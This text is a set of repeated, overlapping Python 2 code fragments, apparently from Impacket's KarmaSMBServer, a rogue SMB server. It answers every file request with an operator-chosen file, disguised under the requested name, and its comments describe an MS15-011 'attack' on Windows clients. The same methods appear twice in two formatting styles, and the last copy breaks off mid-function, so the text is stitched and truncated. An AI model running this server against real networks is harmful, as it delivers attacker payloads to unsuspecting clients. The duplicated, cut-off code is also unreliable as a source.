def __init__(self, smb_challenge, smb_port, smb2Support = False): self.server = 0 self.defaultFile = None self.extensions = {} # Here we write a mini config for the server smbConfig = ConfigParser.ConfigParser() smbConfig.add_section('global') smbConfig.set('global','server_name','server_name') smbConfig.set('global','server_os','UNIX') smbConfig.set('global','server_domain','WORKGROUP') smbConfig.set('global', 'challenge', smb_challenge.decode('hex')) smbConfig.set('global','log_file','smb.log') smbConfig.set('global','credentials_file','') # IPC always needed smbConfig.add_section('IPC$') smbConfig.set('IPC$','comment','Logon server share') smbConfig.set('IPC$','read only','yes') smbConfig.set('IPC$','share type','3') smbConfig.set('IPC$','path','') # NETLOGON always needed smbConfig.add_section('NETLOGON') smbConfig.set('NETLOGON','comment','Logon server share') smbConfig.set('NETLOGON','read only','no') smbConfig.set('NETLOGON','share type','0') smbConfig.set('NETLOGON','path','') # SYSVOL always needed smbConfig.add_section('SYSVOL') smbConfig.set('SYSVOL','comment','') smbConfig.set('SYSVOL','read only','no') smbConfig.set('SYSVOL','share type','0') smbConfig.set('SYSVOL','path','') if smb2Support: smbConfig.set("global", "SMB2Support", "True") self.server = smbserver.SMBSERVER(('0.0.0.0',int(smb_port)), config_parser = smbConfig) self.server.processConfigFile() # Unregistering some dangerous and unwanted commands self.server.unregisterSmbCommand(smb.SMB.SMB_COM_CREATE_DIRECTORY) self.server.unregisterSmbCommand(smb.SMB.SMB_COM_DELETE_DIRECTORY) self.server.unregisterSmbCommand(smb.SMB.SMB_COM_RENAME) self.server.unregisterSmbCommand(smb.SMB.SMB_COM_DELETE) self.server.unregisterSmbCommand(smb.SMB.SMB_COM_WRITE) self.server.unregisterSmbCommand(smb.SMB.SMB_COM_WRITE_ANDX) self.server.unregisterSmb2Command(smb2.SMB2_WRITE) self.origsmbComNtCreateAndX = self.server.hookSmbCommand(smb.SMB.SMB_COM_NT_CREATE_ANDX, self.smbComNtCreateAndX) self.origsmbComTreeConnectAndX = self.server.hookSmbCommand(smb.SMB.SMB_COM_TREE_CONNECT_ANDX, self.smbComTreeConnectAndX) self.origQueryPathInformation = self.server.hookTransaction2(smb.SMB.TRANS2_QUERY_PATH_INFORMATION, self.queryPathInformation) self.origFindFirst2 = self.server.hookTransaction2(smb.SMB.TRANS2_FIND_FIRST2, self.findFirst2) # And the same for SMB2 self.origsmb2TreeConnect = self.server.hookSmb2Command(smb2.SMB2_TREE_CONNECT, self.smb2TreeConnect) self.origsmb2Create = self.server.hookSmb2Command(smb2.SMB2_CREATE, self.smb2Create) self.origsmb2QueryDirectory = self.server.hookSmb2Command(smb2.SMB2_QUERY_DIRECTORY, self.smb2QueryDirectory) self.origsmb2Read = self.server.hookSmb2Command(smb2.SMB2_READ, self.smb2Read) self.origsmb2Close = self.server.hookSmb2Command(smb2.SMB2_CLOSE, self.smb2Close) # Now we have to register the MS-SRVS server. This specially important for # Windows 7+ and Mavericks clients since they WONT (specially OSX) # ask for shares using MS-RAP. self.__srvsServer = SRVSServer() self.__srvsServer.daemon = True self.server.registerNamedPipe('srvsvc',('127.0.0.1',self.__srvsServer.getListenPort()))
def __init__(self, smb_challenge, smb_port, smb2Support=False): self.server = 0 self.defaultFile = None self.extensions = {} # Here we write a mini config for the server smbConfig = ConfigParser.ConfigParser() smbConfig.add_section('global') smbConfig.set('global', 'server_name', 'server_name') smbConfig.set('global', 'server_os', 'UNIX') smbConfig.set('global', 'server_domain', 'WORKGROUP') smbConfig.set('global', 'challenge', smb_challenge.decode('hex')) smbConfig.set('global', 'log_file', 'smb.log') smbConfig.set('global', 'credentials_file', '') # IPC always needed smbConfig.add_section('IPC$') smbConfig.set('IPC$', 'comment', 'Logon server share') smbConfig.set('IPC$', 'read only', 'yes') smbConfig.set('IPC$', 'share type', '3') smbConfig.set('IPC$', 'path', '') # NETLOGON always needed smbConfig.add_section('NETLOGON') smbConfig.set('NETLOGON', 'comment', 'Logon server share') smbConfig.set('NETLOGON', 'read only', 'no') smbConfig.set('NETLOGON', 'share type', '0') smbConfig.set('NETLOGON', 'path', '') # SYSVOL always needed smbConfig.add_section('SYSVOL') smbConfig.set('SYSVOL', 'comment', '') smbConfig.set('SYSVOL', 'read only', 'no') smbConfig.set('SYSVOL', 'share type', '0') smbConfig.set('SYSVOL', 'path', '') if smb2Support: smbConfig.set("global", "SMB2Support", "True") self.server = smbserver.SMBSERVER(('0.0.0.0', int(smb_port)), config_parser=smbConfig) self.server.processConfigFile() # Unregistering some dangerous and unwanted commands self.server.unregisterSmbCommand(smb.SMB.SMB_COM_CREATE_DIRECTORY) self.server.unregisterSmbCommand(smb.SMB.SMB_COM_DELETE_DIRECTORY) self.server.unregisterSmbCommand(smb.SMB.SMB_COM_RENAME) self.server.unregisterSmbCommand(smb.SMB.SMB_COM_DELETE) self.server.unregisterSmbCommand(smb.SMB.SMB_COM_WRITE) self.server.unregisterSmbCommand(smb.SMB.SMB_COM_WRITE_ANDX) self.server.unregisterSmb2Command(smb2.SMB2_WRITE) self.origsmbComNtCreateAndX = self.server.hookSmbCommand( smb.SMB.SMB_COM_NT_CREATE_ANDX, self.smbComNtCreateAndX) self.origsmbComTreeConnectAndX = self.server.hookSmbCommand( smb.SMB.SMB_COM_TREE_CONNECT_ANDX, self.smbComTreeConnectAndX) self.origQueryPathInformation = self.server.hookTransaction2( smb.SMB.TRANS2_QUERY_PATH_INFORMATION, self.queryPathInformation) self.origFindFirst2 = self.server.hookTransaction2( smb.SMB.TRANS2_FIND_FIRST2, self.findFirst2) # And the same for SMB2 self.origsmb2TreeConnect = self.server.hookSmb2Command( smb2.SMB2_TREE_CONNECT, self.smb2TreeConnect) self.origsmb2Create = self.server.hookSmb2Command( smb2.SMB2_CREATE, self.smb2Create) self.origsmb2QueryDirectory = self.server.hookSmb2Command( smb2.SMB2_QUERY_DIRECTORY, self.smb2QueryDirectory) self.origsmb2Read = self.server.hookSmb2Command( smb2.SMB2_READ, self.smb2Read) self.origsmb2Close = self.server.hookSmb2Command( smb2.SMB2_CLOSE, self.smb2Close) # Now we have to register the MS-SRVS server. This specially important for # Windows 7+ and Mavericks clients since they WONT (specially OSX) # ask for shares using MS-RAP. self.__srvsServer = SRVSServer() self.__srvsServer.daemon = True self.server.registerNamedPipe( 'srvsvc', ('127.0.0.1', self.__srvsServer.getListenPort()))
class KarmaSMBServer(): def __init__(self, smb_challenge, smb_port, smb2Support = False): self.server = 0 self.defaultFile = None self.extensions = {} # Here we write a mini config for the server smbConfig = ConfigParser.ConfigParser() smbConfig.add_section('global') smbConfig.set('global','server_name','server_name') smbConfig.set('global','server_os','UNIX') smbConfig.set('global','server_domain','WORKGROUP') smbConfig.set('global', 'challenge', smb_challenge.decode('hex')) smbConfig.set('global','log_file','smb.log') smbConfig.set('global','credentials_file','') # IPC always needed smbConfig.add_section('IPC$') smbConfig.set('IPC$','comment','Logon server share') smbConfig.set('IPC$','read only','yes') smbConfig.set('IPC$','share type','3') smbConfig.set('IPC$','path','') # NETLOGON always needed smbConfig.add_section('NETLOGON') smbConfig.set('NETLOGON','comment','Logon server share') smbConfig.set('NETLOGON','read only','no') smbConfig.set('NETLOGON','share type','0') smbConfig.set('NETLOGON','path','') # SYSVOL always needed smbConfig.add_section('SYSVOL') smbConfig.set('SYSVOL','comment','') smbConfig.set('SYSVOL','read only','no') smbConfig.set('SYSVOL','share type','0') smbConfig.set('SYSVOL','path','') if smb2Support: smbConfig.set("global", "SMB2Support", "True") self.server = smbserver.SMBSERVER(('0.0.0.0',int(smb_port)), config_parser = smbConfig) self.server.processConfigFile() # Unregistering some dangerous and unwanted commands self.server.unregisterSmbCommand(smb.SMB.SMB_COM_CREATE_DIRECTORY) self.server.unregisterSmbCommand(smb.SMB.SMB_COM_DELETE_DIRECTORY) self.server.unregisterSmbCommand(smb.SMB.SMB_COM_RENAME) self.server.unregisterSmbCommand(smb.SMB.SMB_COM_DELETE) self.server.unregisterSmbCommand(smb.SMB.SMB_COM_WRITE) self.server.unregisterSmbCommand(smb.SMB.SMB_COM_WRITE_ANDX) self.server.unregisterSmb2Command(smb2.SMB2_WRITE) self.origsmbComNtCreateAndX = self.server.hookSmbCommand(smb.SMB.SMB_COM_NT_CREATE_ANDX, self.smbComNtCreateAndX) self.origsmbComTreeConnectAndX = self.server.hookSmbCommand(smb.SMB.SMB_COM_TREE_CONNECT_ANDX, self.smbComTreeConnectAndX) self.origQueryPathInformation = self.server.hookTransaction2(smb.SMB.TRANS2_QUERY_PATH_INFORMATION, self.queryPathInformation) self.origFindFirst2 = self.server.hookTransaction2(smb.SMB.TRANS2_FIND_FIRST2, self.findFirst2) # And the same for SMB2 self.origsmb2TreeConnect = self.server.hookSmb2Command(smb2.SMB2_TREE_CONNECT, self.smb2TreeConnect) self.origsmb2Create = self.server.hookSmb2Command(smb2.SMB2_CREATE, self.smb2Create) self.origsmb2QueryDirectory = self.server.hookSmb2Command(smb2.SMB2_QUERY_DIRECTORY, self.smb2QueryDirectory) self.origsmb2Read = self.server.hookSmb2Command(smb2.SMB2_READ, self.smb2Read) self.origsmb2Close = self.server.hookSmb2Command(smb2.SMB2_CLOSE, self.smb2Close) # Now we have to register the MS-SRVS server. This specially important for # Windows 7+ and Mavericks clients since they WONT (specially OSX) # ask for shares using MS-RAP. self.__srvsServer = SRVSServer() self.__srvsServer.daemon = True self.server.registerNamedPipe('srvsvc',('127.0.0.1',self.__srvsServer.getListenPort())) def findFirst2(self, connId, smbServer, recvPacket, parameters, data, maxDataCount): connData = smbServer.getConnectionData(connId) respSetup = '' respParameters = '' respData = '' errorCode = STATUS_SUCCESS findFirst2Parameters = smb.SMBFindFirst2_Parameters( recvPacket['Flags2'], data = parameters) # 1. Let's grab the extension and map the file's contents we will deliver origPathName = os.path.normpath(decodeSMBString(recvPacket['Flags2'],findFirst2Parameters['FileName']).replace('\\','/')) origFileName = os.path.basename(origPathName) _, origPathNameExtension = os.path.splitext(origPathName) origPathNameExtension = origPathNameExtension.upper()[1:] if self.extensions.has_key(origPathNameExtension.upper()): targetFile = self.extensions[origPathNameExtension.upper()] else: targetFile = self.defaultFile if (len(data) > 0): findFirst2Data = smb.SMBFindFirst2_Data(data) else: findFirst2Data = '' if connData['ConnectedShares'].has_key(recvPacket['Tid']): path = connData['ConnectedShares'][recvPacket['Tid']]['path'] # 2. We call the normal findFirst2 call, but with our targetFile searchResult, searchCount, errorCode = findFirst2(path, targetFile, findFirst2Parameters['InformationLevel'], findFirst2Parameters['SearchAttributes'] ) respParameters = smb.SMBFindFirst2Response_Parameters() endOfSearch = 1 sid = 0x80 # default SID searchCount = 0 totalData = 0 for i in enumerate(searchResult): #i[1].dump() try: # 3. And we restore the original filename requested ;) i[1]['FileName'] = encodeSMBString( flags = recvPacket['Flags2'], text = origFileName) except: pass data = i[1].getData() lenData = len(data) if (totalData+lenData) >= maxDataCount or (i[0]+1) > findFirst2Parameters['SearchCount']: # We gotta stop here and continue on a find_next2 endOfSearch = 0 # Simple way to generate a fid if len(connData['SIDs']) == 0: sid = 1 else: sid = connData['SIDs'].keys()[-1] + 1 # Store the remaining search results in the ConnData SID connData['SIDs'][sid] = searchResult[i[0]:] respParameters['LastNameOffset'] = totalData break else: searchCount +=1 respData += data totalData += lenData respParameters['SID'] = sid respParameters['EndOfSearch'] = endOfSearch respParameters['SearchCount'] = searchCount else: errorCode = STATUS_SMB_BAD_TID smbServer.setConnectionData(connId, connData) return respSetup, respParameters, respData, errorCode def smbComNtCreateAndX(self, connId, smbServer, SMBCommand, recvPacket): connData = smbServer.getConnectionData(connId) ntCreateAndXParameters = smb.SMBNtCreateAndX_Parameters(SMBCommand['Parameters']) ntCreateAndXData = smb.SMBNtCreateAndX_Data( flags = recvPacket['Flags2'], data = SMBCommand['Data']) respSMBCommand = smb.SMBCommand(smb.SMB.SMB_COM_NT_CREATE_ANDX) #ntCreateAndXParameters.dump() # Let's try to avoid allowing write requests from the client back to us # not 100% bulletproof, plus also the client might be using other SMB # calls (e.g. SMB_COM_WRITE) createOptions = ntCreateAndXParameters['CreateOptions'] if createOptions & smb.FILE_DELETE_ON_CLOSE == smb.FILE_DELETE_ON_CLOSE: errorCode = STATUS_ACCESS_DENIED elif ntCreateAndXParameters['Disposition'] & smb.FILE_OVERWRITE == FILE_OVERWRITE: errorCode = STATUS_ACCESS_DENIED elif ntCreateAndXParameters['Disposition'] & smb.FILE_OVERWRITE_IF == FILE_OVERWRITE_IF: errorCode = STATUS_ACCESS_DENIED elif ntCreateAndXParameters['AccessMask'] & smb.FILE_WRITE_DATA == FILE_WRITE_DATA: errorCode = STATUS_ACCESS_DENIED elif ntCreateAndXParameters['AccessMask'] & smb.FILE_APPEND_DATA == FILE_APPEND_DATA: errorCode = STATUS_ACCESS_DENIED elif ntCreateAndXParameters['AccessMask'] & smb.GENERIC_WRITE == GENERIC_WRITE: errorCode = STATUS_ACCESS_DENIED elif ntCreateAndXParameters['AccessMask'] & 0x10000 == 0x10000: errorCode = STATUS_ACCESS_DENIED else: errorCode = STATUS_SUCCESS if errorCode == STATUS_ACCESS_DENIED: return [respSMBCommand], None, errorCode # 1. Let's grab the extension and map the file's contents we will deliver origPathName = os.path.normpath(decodeSMBString(recvPacket['Flags2'],ntCreateAndXData['FileName']).replace('\\','/')) _, origPathNameExtension = os.path.splitext(origPathName) origPathNameExtension = origPathNameExtension.upper()[1:] if self.extensions.has_key(origPathNameExtension.upper()): targetFile = self.extensions[origPathNameExtension.upper()] else: targetFile = self.defaultFile # 2. We change the filename in the request for our targetFile ntCreateAndXData['FileName'] = encodeSMBString( flags = recvPacket['Flags2'], text = targetFile) SMBCommand['Data'] = str(ntCreateAndXData) smbServer.log("%s is asking for %s. Delivering %s" % (connData['ClientIP'], origPathName,targetFile),logging.INFO) # 3. We call the original call with our modified data return self.origsmbComNtCreateAndX(connId, smbServer, SMBCommand, recvPacket) def queryPathInformation(self, connId, smbServer, recvPacket, parameters, data, maxDataCount = 0): # The trick we play here is that Windows clients first ask for the file # and then it asks for the directory containing the file. # It is important to answer the right questions for the attack to work connData = smbServer.getConnectionData(connId) respSetup = '' respParameters = '' respData = '' errorCode = 0 queryPathInfoParameters = smb.SMBQueryPathInformation_Parameters(flags = recvPacket['Flags2'], data = parameters) if len(data) > 0: queryPathInfoData = smb.SMBQueryPathInformation_Data(data) if connData['ConnectedShares'].has_key(recvPacket['Tid']): path = '' try: origPathName = decodeSMBString(recvPacket['Flags2'], queryPathInfoParameters['FileName']) origPathName = os.path.normpath(origPathName.replace('\\','/')) if connData.has_key('MS15011') is False: connData['MS15011'] = {} smbServer.log("Client is asking for QueryPathInformation for: %s" % origPathName,logging.INFO) if connData['MS15011'].has_key(origPathName) or origPathName == '.': # We already processed this entry, now it's asking for a directory infoRecord, errorCode = queryPathInformation(path, '/', queryPathInfoParameters['InformationLevel']) else: # First time asked, asking for the file infoRecord, errorCode = queryPathInformation(path, self.defaultFile, queryPathInfoParameters['InformationLevel']) connData['MS15011'][os.path.dirname(origPathName)] = infoRecord except Exception, e: #import traceback #traceback.print_exc() smbServer.log("queryPathInformation: %s" % e,logging.ERROR) if infoRecord is not None: respParameters = smb.SMBQueryPathInformationResponse_Parameters() respData = infoRecord else:
class KarmaSMBServer(): def __init__(self, smb_challenge, smb_port, smb2Support=False): self.server = 0 self.defaultFile = None self.extensions = {} # Here we write a mini config for the server smbConfig = ConfigParser.ConfigParser() smbConfig.add_section('global') smbConfig.set('global', 'server_name', 'server_name') smbConfig.set('global', 'server_os', 'UNIX') smbConfig.set('global', 'server_domain', 'WORKGROUP') smbConfig.set('global', 'challenge', smb_challenge.decode('hex')) smbConfig.set('global', 'log_file', 'smb.log') smbConfig.set('global', 'credentials_file', '') # IPC always needed smbConfig.add_section('IPC$') smbConfig.set('IPC$', 'comment', 'Logon server share') smbConfig.set('IPC$', 'read only', 'yes') smbConfig.set('IPC$', 'share type', '3') smbConfig.set('IPC$', 'path', '') # NETLOGON always needed smbConfig.add_section('NETLOGON') smbConfig.set('NETLOGON', 'comment', 'Logon server share') smbConfig.set('NETLOGON', 'read only', 'no') smbConfig.set('NETLOGON', 'share type', '0') smbConfig.set('NETLOGON', 'path', '') # SYSVOL always needed smbConfig.add_section('SYSVOL') smbConfig.set('SYSVOL', 'comment', '') smbConfig.set('SYSVOL', 'read only', 'no') smbConfig.set('SYSVOL', 'share type', '0') smbConfig.set('SYSVOL', 'path', '') if smb2Support: smbConfig.set("global", "SMB2Support", "True") self.server = smbserver.SMBSERVER(('0.0.0.0', int(smb_port)), config_parser=smbConfig) self.server.processConfigFile() # Unregistering some dangerous and unwanted commands self.server.unregisterSmbCommand(smb.SMB.SMB_COM_CREATE_DIRECTORY) self.server.unregisterSmbCommand(smb.SMB.SMB_COM_DELETE_DIRECTORY) self.server.unregisterSmbCommand(smb.SMB.SMB_COM_RENAME) self.server.unregisterSmbCommand(smb.SMB.SMB_COM_DELETE) self.server.unregisterSmbCommand(smb.SMB.SMB_COM_WRITE) self.server.unregisterSmbCommand(smb.SMB.SMB_COM_WRITE_ANDX) self.server.unregisterSmb2Command(smb2.SMB2_WRITE) self.origsmbComNtCreateAndX = self.server.hookSmbCommand( smb.SMB.SMB_COM_NT_CREATE_ANDX, self.smbComNtCreateAndX) self.origsmbComTreeConnectAndX = self.server.hookSmbCommand( smb.SMB.SMB_COM_TREE_CONNECT_ANDX, self.smbComTreeConnectAndX) self.origQueryPathInformation = self.server.hookTransaction2( smb.SMB.TRANS2_QUERY_PATH_INFORMATION, self.queryPathInformation) self.origFindFirst2 = self.server.hookTransaction2( smb.SMB.TRANS2_FIND_FIRST2, self.findFirst2) # And the same for SMB2 self.origsmb2TreeConnect = self.server.hookSmb2Command( smb2.SMB2_TREE_CONNECT, self.smb2TreeConnect) self.origsmb2Create = self.server.hookSmb2Command( smb2.SMB2_CREATE, self.smb2Create) self.origsmb2QueryDirectory = self.server.hookSmb2Command( smb2.SMB2_QUERY_DIRECTORY, self.smb2QueryDirectory) self.origsmb2Read = self.server.hookSmb2Command( smb2.SMB2_READ, self.smb2Read) self.origsmb2Close = self.server.hookSmb2Command( smb2.SMB2_CLOSE, self.smb2Close) # Now we have to register the MS-SRVS server. This specially important for # Windows 7+ and Mavericks clients since they WONT (specially OSX) # ask for shares using MS-RAP. self.__srvsServer = SRVSServer() self.__srvsServer.daemon = True self.server.registerNamedPipe( 'srvsvc', ('127.0.0.1', self.__srvsServer.getListenPort())) def findFirst2(self, connId, smbServer, recvPacket, parameters, data, maxDataCount): connData = smbServer.getConnectionData(connId) respSetup = '' respParameters = '' respData = '' errorCode = STATUS_SUCCESS findFirst2Parameters = smb.SMBFindFirst2_Parameters( recvPacket['Flags2'], data=parameters) # 1. Let's grab the extension and map the file's contents we will deliver origPathName = os.path.normpath( decodeSMBString(recvPacket['Flags2'], findFirst2Parameters['FileName']).replace( '\\', '/')) origFileName = os.path.basename(origPathName) _, origPathNameExtension = os.path.splitext(origPathName) origPathNameExtension = origPathNameExtension.upper()[1:] if self.extensions.has_key(origPathNameExtension.upper()): targetFile = self.extensions[origPathNameExtension.upper()] else: targetFile = self.defaultFile if (len(data) > 0): findFirst2Data = smb.SMBFindFirst2_Data(data) else: findFirst2Data = '' if connData['ConnectedShares'].has_key(recvPacket['Tid']): path = connData['ConnectedShares'][recvPacket['Tid']]['path'] # 2. We call the normal findFirst2 call, but with our targetFile searchResult, searchCount, errorCode = findFirst2( path, targetFile, findFirst2Parameters['InformationLevel'], findFirst2Parameters['SearchAttributes']) respParameters = smb.SMBFindFirst2Response_Parameters() endOfSearch = 1 sid = 0x80 # default SID searchCount = 0 totalData = 0 for i in enumerate(searchResult): #i[1].dump() try: # 3. And we restore the original filename requested ;) i[1]['FileName'] = encodeSMBString( flags=recvPacket['Flags2'], text=origFileName) except: pass data = i[1].getData() lenData = len(data) if (totalData + lenData) >= maxDataCount or ( i[0] + 1) > findFirst2Parameters['SearchCount']: # We gotta stop here and continue on a find_next2 endOfSearch = 0 # Simple way to generate a fid if len(connData['SIDs']) == 0: sid = 1 else: sid = connData['SIDs'].keys()[-1] + 1 # Store the remaining search results in the ConnData SID connData['SIDs'][sid] = searchResult[i[0]:] respParameters['LastNameOffset'] = totalData break else: searchCount += 1 respData += data totalData += lenData respParameters['SID'] = sid respParameters['EndOfSearch'] = endOfSearch respParameters['SearchCount'] = searchCount else: errorCode = STATUS_SMB_BAD_TID smbServer.setConnectionData(connId, connData) return respSetup, respParameters, respData, errorCode def smbComNtCreateAndX(self, connId, smbServer, SMBCommand, recvPacket): connData = smbServer.getConnectionData(connId) ntCreateAndXParameters = smb.SMBNtCreateAndX_Parameters( SMBCommand['Parameters']) ntCreateAndXData = smb.SMBNtCreateAndX_Data(flags=recvPacket['Flags2'], data=SMBCommand['Data']) respSMBCommand = smb.SMBCommand(smb.SMB.SMB_COM_NT_CREATE_ANDX) #ntCreateAndXParameters.dump() # Let's try to avoid allowing write requests from the client back to us # not 100% bulletproof, plus also the client might be using other SMB # calls (e.g. SMB_COM_WRITE) createOptions = ntCreateAndXParameters['CreateOptions'] if createOptions & smb.FILE_DELETE_ON_CLOSE == smb.FILE_DELETE_ON_CLOSE: errorCode = STATUS_ACCESS_DENIED elif ntCreateAndXParameters[ 'Disposition'] & smb.FILE_OVERWRITE == FILE_OVERWRITE: errorCode = STATUS_ACCESS_DENIED elif ntCreateAndXParameters[ 'Disposition'] & smb.FILE_OVERWRITE_IF == FILE_OVERWRITE_IF: errorCode = STATUS_ACCESS_DENIED elif ntCreateAndXParameters[ 'AccessMask'] & smb.FILE_WRITE_DATA == FILE_WRITE_DATA: errorCode = STATUS_ACCESS_DENIED elif ntCreateAndXParameters[ 'AccessMask'] & smb.FILE_APPEND_DATA == FILE_APPEND_DATA: errorCode = STATUS_ACCESS_DENIED elif ntCreateAndXParameters[ 'AccessMask'] & smb.GENERIC_WRITE == GENERIC_WRITE: errorCode = STATUS_ACCESS_DENIED elif ntCreateAndXParameters['AccessMask'] & 0x10000 == 0x10000: errorCode = STATUS_ACCESS_DENIED else: errorCode = STATUS_SUCCESS if errorCode == STATUS_ACCESS_DENIED: return [respSMBCommand], None, errorCode # 1. Let's grab the extension and map the file's contents we will deliver origPathName = os.path.normpath( decodeSMBString(recvPacket['Flags2'], ntCreateAndXData['FileName']).replace('\\', '/')) _, origPathNameExtension = os.path.splitext(origPathName) origPathNameExtension = origPathNameExtension.upper()[1:] if self.extensions.has_key(origPathNameExtension.upper()): targetFile = self.extensions[origPathNameExtension.upper()] else: targetFile = self.defaultFile # 2. We change the filename in the request for our targetFile ntCreateAndXData['FileName'] = encodeSMBString( flags=recvPacket['Flags2'], text=targetFile) SMBCommand['Data'] = str(ntCreateAndXData) smbServer.log( "%s is asking for %s. Delivering %s" % (connData['ClientIP'], origPathName, targetFile), logging.INFO) # 3. We call the original call with our modified data return self.origsmbComNtCreateAndX(connId, smbServer, SMBCommand, recvPacket) def queryPathInformation(self, connId, smbServer, recvPacket, parameters, data, maxDataCount=0): # The trick we play here is that Windows clients first ask for the file # and then it asks for the directory containing the file. # It is important to answer the right questions for the attack to work connData = smbServer.getConnectionData(connId) respSetup = '' respParameters = '' respData = '' errorCode = 0 queryPathInfoParameters = smb.SMBQueryPathInformation_Parameters( flags=recvPacket['Flags2'], data=parameters) if len(data) > 0: queryPathInfoData = smb.SMBQueryPathInformation_Data(data) if connData['ConnectedShares'].has_key(recvPacket['Tid']): path = '' try: origPathName = decodeSMBString( recvPacket['Flags2'], queryPathInfoParameters['FileName']) origPathName = os.path.normpath(origPathName.replace( '\\', '/')) if connData.has_key('MS15011') is False: connData['MS15011'] = {} smbServer.log( "Client is asking for QueryPathInformation for: %s" % origPathName, logging.INFO) if connData['MS15011'].has_key( origPathName) or origPathName == '.': # We already processed this entry, now it's asking for a directory infoRecord, errorCode = queryPathInformation( path, '/', queryPathInfoParameters['InformationLevel']) else: # First time asked, asking for the file infoRecord, errorCode = queryPathInformation( path, self.defaultFile, queryPathInfoParameters['InformationLevel']) connData['MS15011'][os.path.dirname( origPathName)] = infoRecord except Exception, e: #import traceback #traceback.print_exc() smbServer.log("queryPathInformation: %s" % e, logging.ERROR) if infoRecord is not None: respParameters = smb.SMBQueryPathInformationResponse_Parameters( ) respData = infoRecord else: